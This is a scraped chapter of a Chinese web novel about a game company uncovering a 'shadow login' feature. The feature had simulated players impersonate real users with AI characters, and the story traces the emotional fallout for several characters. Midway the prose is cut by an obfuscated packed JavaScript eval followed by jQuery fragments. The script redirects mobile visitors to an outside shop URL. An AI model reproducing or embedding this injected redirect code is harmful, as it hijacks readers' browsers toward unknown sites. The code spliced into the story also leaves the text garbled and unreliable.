文趣网 > 其他小说 > 退游后,游戏夫人找我算账了 > 86. 你不在的时候,谁来过
    【影子登录。】

    这个字段藏得很深。

    程未安沿着第一例玩家账号往回追,翻了三层废弃接口,才找到五年前的调用入口。它甚至不在离线代理项目下面,而是挂在一个已经停止维护的功能模块里。

    【关系自然演化。】

    名字取得很无害。

    早期游戏有个很现实的问题:玩家上线时间不稳定,角色的时间却是连续的。一个玩家现实里忙了两个月,回来以后,希望妻子还是妻子、朋友还是朋友,最好连上次说到一半的话都记得;可角色如果真的按照游戏内时间生活,两个月足够发生很多事。

    最初的处理办法是冻结。

    玩家不在,重要关系角色就不发生关键变化。

    结果测试玩家又不满意。

    “我两个月没上线,她怎么还站在原地等我?”

    “感觉像死的。”

    于是项目组改成模拟生活。

    角色可以自己吃饭、出门、工作、认识别人,但涉及核心关系时仍然停住,等玩家回来。

    还是有人觉得假。

    再后来,关系自然演化上线。

    玩家不在的时候,系统会根据历史关系状态,推演双方“如果都在这里”可能发生的互动。大部分推演只用于后台调整关系参数,不生成实际场景。

    影子登录是其中最激进的一版。

    系统直接把推演落地。

    玩家没有上线。

    一个没有独立实例、没有名字、甚至不被算作代理的“玩家行为投影”却会进入地图,和角色真实发生互动。

    周砚看完说明,问:“这跟离线代理有什么区别?”

    “离线代理有任务身份。”程未安说,“它知道自己在代替玩家完成陪伴、签到或者互动。影子登录不是一个持续运行的代理,只是系统临时生成一次‘玩家可能会做什么’。”

    “用玩家的脸?”

    “对。”

    “名字?”

    “也是玩家。”

    “角色看得出来?”

    “看不出来。”

    周砚靠回椅背。

    “那区别就是更缺德。”

    不归正在看底层说明,闻言抬头:“技术上也有区别。”

    “你现在替它说话?”

    “我说技术。”

    “行,你说。”

    “离线代理至少是一个东西去很多次。影子登录可能每次都不是同一个东西。”

    这才是最麻烦的地方。

    闻桥能够被找到,是因为它两年里一直保留局部状态。上一次和桑榆说过什么,会影响下一次。久而久之,那条连续性没有被项目组设计出来,却自己接上了。

    影子登录没有这条线。

    每次临时生成。

    每次用完销毁。

    下一次再根据玩家数据、关系数据和角色当前状态重新推演。

    理论上,它们连“死掉”都谈不上。

    因为设计者根本没认为它们出生过。

    “那角色端多出来的记忆怎么解释?”不归问。

    “场景发生了,当然会留下。”

    “也就是说,对方记得一个人来过。”

    “但来的人没有连续存在。”

    “嗯。”

    不归没再说话。

    这个感觉比离线代理还怪。

    你记得有人推门进来,和你吃过一顿饭,吵过一次架,答应下次再见。

    可对面那个“人”只活了二十分钟。

    场景一结束,它就没了。

    下一次顶着同一张脸来的,是另一次推演。

    而你一直以为那是同一个人。

    程未安开始跑全量统计。

    影子登录比离线代理早上线十一个月,只测试了半年,覆盖范围却不小。

    【涉及玩家账号:48,219。】

    【涉及角色:26,704。】

    【累计实际落地场景:611,833。】

    半年后功能下线。

    原因不是伦理问题。

    是成本太高。

    周砚看到这里都笑了。

    “感谢服务器。”

    “你笑什么?”

    “它要是再便宜一点,估计能跑到今天。”

    这话没人反驳。

    项目复盘写得很清楚:影子登录需要实时调用玩家长期行为模型、角色状态和场景生成,算力成本远高于普通离线代理,商业化价值有限,因此转为更轻量的代理模式。

    至于角色会不会把这些互动当真,只在风险栏里占了一行:

    【部分角色可能对非真实玩家生成额外依赖,建议后续通过记忆权重修正。】

    又是修角色。

    周砚已经不意外了。

    只要现实和系统之间出现矛盾,早期项目组最熟练的处理方式就是把知道得太多的那一边调一调。

    “先停全量通知。”不归说。

    程未安点头。

    这次不能像离线代理一样直接告诉四万多玩家“有人用你的身份出现过”。因为影子登录不存在可追责的独立代理,很多场景又发生在五年前。最重要的是,角色端对这些场景的记忆完整程度差异很大。

    有些只剩模糊印象。

    有些却记得很清楚。

    他们先查最早发帖那一例。

    玩家昵称老魏,现实四十一岁。角色叫秋岚,两人的历史关系很普通,没有婚姻,也没有恋爱,是游戏里的长期队友。

    官方离线代理六十二次。

    秋岚记得七十四次。

    多出来的十二次,全是影子登录。

    周砚问:“告诉谁先?”

    不归说:“两边都先问愿不愿意知道。”

    于是玩家收到:

    【检测到你的历史账号存在未记录于普通代理列表的系统模拟互动。是否查看相关说明?】

    秋岚收到的则是:

    【检测到你的部分历史互动对象可能并非真实玩家本人。是否进一步核验?】

    两边都选了是。

    结果比想象中平淡。

    十二次影子登录里,十次只是一起跑图。

    一次坐在酒馆喝酒。

    还有一次吵架。

    秋岚看到吵架记录时,忽然问:

    【那次也不是他?】

    系统回答:

    【经核验,该场景由影子登录生成,真实玩家当日未上线。】

    她半天没说话。

    玩家那边也在看同一段。

    影子里的“老魏”因为秋岚临时退出副本,对她说:

    【你每次都这样,做到一半就跑。】

    秋岚当时回:

    【那以后别找我。】

    影子回答:

    【行。】

    第二天,真正的老魏上线。

    秋岚三天没理他。

    老魏完全不知道为什么。

    第四天还给她发了句:

    【你最近脾气挺大。】

    周砚看到这里,已经能想象后面怎么发展的了。

    果然。

    秋岚更生气了。

    两个人冷了整整一个月。

    后来莫名其妙和好,谁也没把那次争执真正说清楚。

    五年后,他们才发现,吵架的两个人里有一个根本没到场。

    老魏主动申请通信。

    秋岚接受。

    开场第一句:

    “所以那天你没骂我?”

    “我压根不知道你跑副本去了。”

    “那你后来为什么说我脾气大?”

    “因为你三天不搭理我。”

    “……”

    “……”

    两边沉默半天。

    最后秋岚问:“那这一个月算什么?”

    老魏说:“白气了?”

    “我没白气,我当时真的气。”

    “那我白挨了?”

    “你后来那句脾气大也挺欠的。”

    “那句确实是我。”

    “所以还是有你的事。”

    “行。”

    一笔五年前的烂账,最后只分清了一半。

    影子制造了开头。

    后面的生气、冷战和那句“脾气大”,全是真的。

    不能因为第一块骨牌是假的,就说后面一个月没发生。

    秋岚最后没有删除那段记忆。

    她只把争吵对象从【老魏】改成:

    【系统生成的老魏影子。】

    然后在后面的冷战记录上保留了老魏本人。

    老魏看完,评价:“还挺严谨。”

    秋岚说:“不然呢?你那句脾气大还能赖系统?”

    “不能。”

    第一例就这么结束。

    没有身份危机。

    没有谁从废弃数据里醒过来。

    只是两个认识很多年的人,终于知道当初为什么莫名其妙吵了一架。

    周砚本来觉得这功能虽然恶心,至少比离线代理好处理。

    直到第二例。

    角色名林栖。

    玩家账号P-1187。

    影子登录一共二十六次。

    其中十九次发生在同一个地点。

    一间游戏里的小厨房。

    不归往下看了几条,很快发现不对。

    第一次,影子只是进去坐了一会儿。

    林栖问:

    【你饿吗?】

    影子回答:

    【有点。】

    她做了一碗面。

    第二次还是面。

    第三次换成粥。

    到第七次,林栖问:

    【你最近是不是胃不好?】

    影子回答:

    【嗯。】

    “玩家本人胃不好吗?”不归问。

    程未安查现实侧可用数据:“没有这类记录。”

    “那为什么生成?”

    “第一次场景里,玩家行为模型给出的状态是疲惫、低活跃,系统生成了‘有点饿’。林栖做饭后,关系反馈很好。后续模型就把‘来厨房—身体不舒服—被照顾’强化成稳定互动模式。”

    “也就是说,系统发现这样能涨关系,就一直让他病。”

    “可以这么理解。”

    周砚:“很聪明。”

    “别夸。”

    “反话。”

    到了第十九次,影子已经会主动说胃疼。

    林栖会给他做饭,提醒他别喝冷的,还专门去游戏里的药铺学了一套食疗配方。

    真实玩家对此一无所知。

    他偶尔上线,林栖也会问吃没吃饭。

    他以为这是角色固定关怀台词。

    有一次甚至回:

    【我胃好得很。】

    林栖当时沉默了很久。

    后台记录显示,她那天第一次对自己的连续记忆产生怀疑。

    系统怎么处理的?

    【降低影子场景相关记忆可信度。】

    不归看得火大:“又来。”

    “嗯。”

    “它自己撒谎,最后让对方怀疑自己。”

    “嗯。”

    周砚这次没接玩笑。

    因为后面的记录更难看。

    林栖后来开始偷偷记。

    不是系统日志。

    是她自己的食谱本。

    每次“玩家”来过,她就在页角画一个小点。

    二十六次。

    一个没少。

    官方系统删掉了部分影子记忆权重。

    她自己把它们留在了纸上。

    现在系统询问:

    【是否愿意核验这些互动?】

    林栖没有马上选。

    她先问:

    【如果不是他,那我照顾的是谁?】

    没人能回答。

    因为那二十六个影子已经不存在。

    甚至不能确定是不是二十六个。

    有些场景可能共享短时缓存,有些完全独立。

    她问的不是“谁冒充了他”。

    而是自己那二十六次端出去的饭,到底给了谁。

    系统只能说:

    【这些场景由系统根据P-1187的历史数据临时生成互动对象。】

    林栖回:

    【我知道你在说什么。】

    【我问的是,它们吃了吗?】

    程未安停住。

    从技术上说,当然没吃。

    游戏里的面没有营养。

    影子也没有身体。

    所谓进食只是交互动作。

    可这么回答显然也不对。

    周砚看了一会儿,说:“把原始场景给她。”

    别替她解释。

    二十六段记录全部开放。

    林栖自己看。

    她从下午看到傍晚。

    最后没有问那些影子算不算人。

    只提交了一个修改:

    【食谱本保留。】

    【页角标记不删除。】

    【原互动对象名称改为“影子”。】

    第二天,她把那本食谱继续用了。

    第一道还是面。

    没有为了证明过去是假的,就把面也扔了。

    可第三例开始,问题彻底变了。

    这个角色拒绝核验。

    名字叫楚宁。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829644|208763||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    她的历史记录里有四十一次影子登录。

    系统第一次询问时,她选:

    【不查看。】

    第二次确认:

    【不查看。】

    按规则,到这里就该停。

    玩家本人却已经看完自己的影子记录。

    他发现四十一次里,有一次涉及重大关系变化。

    影子向楚宁求婚。

    楚宁答应了。

    周砚看到这一条时,第一句话就是:“这也能生成?”

    程未安脸色不好看:“当时关系自然演化没有禁止重大关系节点。”

    “婚姻状态怎么没进玩家账号?”

    “没正式登记。影子场景只影响角色侧关系记忆,玩家侧没有同步。”

    也就是说,楚宁以为自己答应过一次求婚。

    玩家本人完全不知道。

    后来真正的玩家上线,系统没有触发婚礼,也没有提这件事。楚宁等了一段时间,主动问:

    【你是不是后悔了?】

    玩家回:

    【后悔什么?】

    这一次,系统依旧判定为角色记忆偏差。

    后面的事情不用猜。

    楚宁把求婚记忆慢慢压下去了。

    不是删掉。

    是学会不再提。

    现在真实玩家知道了。

    他很想解释。

    连续提交了两次通信申请。

    楚宁全部拒绝。

    第三次没有再提交,因为系统已经提醒他,对方选择不核验历史影子记录。

    玩家转而问客服:

    【可她现在误会的是我。】

    【我什么都没做。】

    这话也没错。

    他确实没求婚。

    也没有在求婚以后装作不知道。

    从他的角度看,自己平白背了一笔五年的账。

    “那能不能告诉她至少不是本人?”程未安问。

    不归说:“她已经选了不看。”

    “但玩家有更正自己身份记录的权利。”

    这才是冲突。

    楚宁有权不去重新翻自己的过去。

    玩家也有权不被继续记成做过自己没做过的事。

    不能为了保护一边,逼另一边永远背着假身份。

    最后他们把两件事拆开。

    楚宁不需要看具体场景。

    系统只发送最低限度的身份更正通知:

    【你的部分历史记录中存在由系统模拟玩家产生的互动。】

    【相关玩家本人已提出身份更正。】

    【你无需查看内容,也无需改变现有记忆;系统仅停止将未经核验的影子行为继续归属于真实玩家本人。】

    楚宁看了。

    没有回复。

    系统把那四十一次记录的身份栏统一改成:

    【待核验历史对象。】

    没有强行写“假的”。

    也没有继续挂玩家名字。

    求婚那一段也在里面。

    玩家那边收到通知:

    【身份更正完成。】

    他没有再申请联系。

    这件事本来可以到这里结束。

    晚上八点,楚宁却自己打开了那段求婚记录。

    没有任何人催她。

    她看完以后,坐了很久。

    然后只问系统一句:

    【所以那天说想娶我的,不是他?】

    系统回答:

    【不是现实玩家本人。】

    【是否为具有独立连续性的影子实例,现有数据无法确认。】

    楚宁没再问。

    十分钟后,她把自己的关系状态从一个已经挂了五年的【等待确认】改成:

    【无。】

    没有找玩家。

    也没有找那个早已不存在的影子。

    她只是终于不等了。

    当天晚上,影子登录的处理规则确定下来。

    不批量删除角色记忆。

    不把所有影子场景自动算到真实玩家头上。

    玩家可以更正身份,但不能替角色决定记忆怎么处理;角色可以拒绝查看具体内容,但不能要求系统继续把未经本人实施的行为登记在真实玩家名下。

    至于那些影子本身——

    现阶段不恢复。

    因为没有足够连续性证据,也没有完整实例可以恢复。

    “终于有一个不用成立九万个新主体的项目。”周砚说。

    程未安抬头:“你很失望?”

    “我很欣慰。”

    不归却没接话。

    她还在看影子登录的开发记录。

    “怎么了?”

    “时间。”

    “什么时间?”

    “影子登录停用以后,离线代理才正式上线,对吧?”

    “对。”

    “那为什么这里还有后续调用?”

    程未安凑过去。

    影子登录的正式运行期只有半年。

    但接口没有删除。

    在后面的四年里,它还被调用过。

    次数很少。

    一共一百零九次。

    调用方不是恒界互动的游戏系统。

    是启衡。

    周砚坐直了。

    “现实端?”

    “嗯。”

    一百零九次影子登录里,九十七次用于早期数字代理测试。

    剩下十二次没有项目说明。

    只有调用时间。

    最近一次,发生在八个月前。

    那时候影子登录早就停了四年多。

    调用对象也不是普通玩家。

    十二次,全是同一个账号。

    【P-0719。】

    周砚盯着自己的账号,足足看了十秒。

    “我?”

    不归已经往下翻。

    没有场景记录。

    没有角色对象。

    甚至不知道影子去了哪里。

    只有十二次身份调用成功。

    最后一次调用持续时间:

    【47分钟。】

    现实接口:

    【R-17。】

    山外灯。

    三个人同时抬头。

    R-17八个月前就接过“周砚”。

    可那时候真正的周砚从来没来过山外灯。

    裴行砚也还没有借他的身体进入现实。

    不归看着那条记录,慢慢皱起眉。

    “所以在你认识我以前——”

    “有人用过我的身份来这里。”

    周砚接上。

    而且不是游戏里。

    是现实。